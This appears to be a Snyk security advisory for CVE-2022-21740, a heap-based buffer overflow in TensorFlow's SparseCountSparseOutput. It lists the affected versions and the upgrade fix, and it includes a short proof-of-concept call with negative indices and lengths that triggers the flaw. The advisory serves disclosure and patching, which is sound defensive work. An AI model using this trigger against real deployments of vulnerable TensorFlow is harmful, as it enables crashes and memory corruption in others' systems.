Heap-based Buffer Overflow Affecting tensorflow package, versions [,2.5.3) [2.6.0,2.6.3) [2.7.0,2.7.1)
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
0.69% (81st
percentile)
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Test your applications- Snyk ID SNYK-PYTHON-TENSORFLOW-2393361
- published 3 Feb 2022
- disclosed 3 Feb 2022
- credit Faysal Hossain Shezan
Introduced: 3 Feb 2022
CVE-2022-21740 Open this link in a new tabHow to fix?
Upgrade tensorflow to version 2.5.3, 2.6.3, 2.7.1 or higher.
Overview
tensorflow is a machine learning framework.
Affected versions of this package are vulnerable to Heap-based Buffer Overflow via the implementation of SparseCountSparseOutput.
###PoC
import tensorflow as tf
import numpy as np
tf.raw_ops.SparseCountSparseOutput(
indices=[[-1,-1]],
values=[2],
dense_shape=[1, 1],
weights=[1],
binary_output=True,
minlength=-1,
maxlength=-1,
name=None)
References
CVSS Scores
version 3.1